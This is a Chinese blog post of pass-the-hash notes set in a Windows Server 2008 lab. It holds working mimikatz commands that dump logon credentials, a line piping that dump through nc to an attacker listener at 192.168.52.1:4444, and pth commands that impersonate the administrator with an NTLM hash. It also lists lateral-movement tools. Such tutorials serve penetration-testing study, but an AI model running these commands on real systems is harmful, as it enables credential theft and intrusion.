域渗透:pth(pass the hash)

前言:域渗透:pth(pass the hash)笔记

pass the hash原理

在Windows系统中,通常会使用NTLM身份认证,NTLM认证不使用明文口令,而是使用口令加密后的hash值,hash值由系统API生成(例如LsaLogonUser) ,其中hash(哈希)分为LM hash和NT hash,如果密码长度大于15,那么无法生成LM hash。

从Windows Vista和Windows Server 2008开始,微软默认禁用LM hash,如果攻击者获得了hash,就能够在身份验证的时候模拟该用户(即跳过调用API生成hash的过程)

pth如何利用

靶机:win08 r2
攻击:win08 r2

靶机中进行读取NTLM HASH

这里使用mimikatz还有些技巧:

以日志文件生成保存在当前文件夹中log.txt 并且再列出目录

mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords full"" exit && dir

自定义保存在log.txt中

mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit >> log.txt

将输出传输到远程机器:

攻击者:nc nc -lvp 4444
受害者:mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit | nc.exe -vv 192.168.52.1 4444

域环境执行

mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:top.pentest.top /ntlm:044dfa0c35b979ed369f7335b5ea20e0" "exit"

工作组环境执行

如果是工作组的话,那么正常的pth命令如下即可

mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:. /ntlm:044dfa0c35b979ed369f7335b5ea20e0" "exit"

技巧

  • NTLM Hash = LM Hash + NT Hash,LM Hash是E19CCF75EE54E06B06A5907AF13CEF42时,可能密码为空或者没有存储LM hash,2008默认不存储LM hash。pth 用nt hash,有些工具可能需要lm hash:nthash格式,没有lm hash可以使用任意32个字符填充,所以我们可以这样进行00000000000000000000000000000000:E19CCF75EE54E06B06A5907AF13CEF42,只要前32位存在就行

pth总结:

在内网渗透中,当我们能够读取ntlm,但是发现抓取不到明文的时候,可以通过hash传递的方式进行横向移动。

对于哈希传递不只是通过mimikatz,还可以通过wce,impacket工具包等等进行攻击。

能够实现Pass The Hash的工具

Smbmap
CrackMapExec
Smbexec
Metasploit(exploit/windows/smb/psexec_psh )
wmiexec
Invoke-WMIExec
Invoke-SMBExec
mimikatz(Overpass-the-hash)
posted @ 2019-10-23 23:00  zpchcbd  阅读(3419)  评论(0编辑  收藏  举报